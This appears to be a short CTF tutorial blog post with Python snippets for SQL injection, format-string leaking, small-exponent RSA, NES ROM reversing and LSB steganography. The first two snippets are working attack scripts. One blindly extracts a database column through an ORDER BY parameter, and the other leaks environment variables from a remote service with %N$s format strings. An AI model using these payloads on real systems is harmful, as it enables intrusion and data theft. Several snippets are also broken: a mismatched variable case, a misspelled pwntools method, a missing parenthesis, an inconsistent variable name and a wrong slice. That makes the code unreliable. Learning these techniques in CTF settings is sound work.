CTF-code-skills-python

If you want to be more familiar with the ctf different categories, you must know some coding skills.

CTF is the combination of the coding and the using tools.

As for the coding, we must know:

1: Python 2: SOL 3: C/Cpp 4: PHP 5: Shell/Linux 6: x86–64

now I’m going to explain the python code part first:

1: SQL web injection

import requests
BASE = "http://example.com"

def ask(cond):
  expr = f"(CASE WHEN ({cond}) THEN 1 ELSE -1 END)*id"
  r = requests.get(BASE,params={"sort":expr}).json()
  return r["doctor"]["name"] == "Dr. Ada Pulse"

SECRET = "(SELECT farewell_note FROM doctors WHERE id=404)"

flag = ""
for pos in range(1,50):
   lo,hi = 32,126
   while lo<hi:
     mid = (lo+hi) // 2
     if ask(f"unicode(substr({SECRET},{POS},1))>{mid}"):
        lo = mid+1
     else:
        hi = mid
   flag += chr(lo)
   print(flag)
//the  "ask" function will be injected into the ORDER BY

2：PWN format

Get Yixuan Xie’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

use the pwntools to remote connect and use %p to leak the environment variables of the flag.

from pwn import *

r = remote("target.ctf.com", 9001)

#it is a remote connection to this website with the port is 9001.

r.rendlineafter(b"name?", b"hacker")

#skip the interaction part and then we can do the bug 

for offset in range(80,110):
  r.sendlineafter(b"message?", f"%{offset}$s".encode())
  data = r.recvline()
  if b"FLAG=" in data:
    print(f"[!] offset {offset}: {data}")
    break  

3：Crypto: RSA public key attack

sometimes the mode number is too big, so the mode number have no useage. So the problem have directlu become a mathematical problem.

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

n = 0x00b3e0....
e = 3
c = 0x523a3..

m, is_exact = iroot(c,e)
if is_exact:
  print(long_to_bytes(int(m))

4:Rev: extract the information in the ROM files

rom = open("meteor-shower.nes", "rb").read()

metor_x = rom[0x10 + (0x8718 - 0x8000):][:0x80]
meteor_speed = rom[0x10 + (0x8798 - 0x8000):][0x80]

bits = [];
idx = 0x0B
for i in range(0x5F):
  bits.append((meteor_x[idx]^ meteor_speed[idx]^i) & 1)
  idx = (idx + 0x25) & 0x7F

flag = "".join(chr(ord("A") + int("".join(map(str,bits[i:i+5])),2))for i in range(0,len(bits), 5))
print(flag)
  

5: Forensics: extract something in the picture LSB

from PIL import Image

img = Image.open("challenge.png")
pixels = img.load()
w, h = img.size

# extract the LSB of each picture
bits = ""
for y in range(h):
    for x in range(w):
        r, g, b = pixels[x, y][:3]
        bits += str(r & 1)

# change at every 8 bits
msg = ""
for i in range(0, len(bits), 8):
    ch = chr(int(bits[i:i+8], 2))
    if ch == "\x00": break
    msg += ch
print(msg)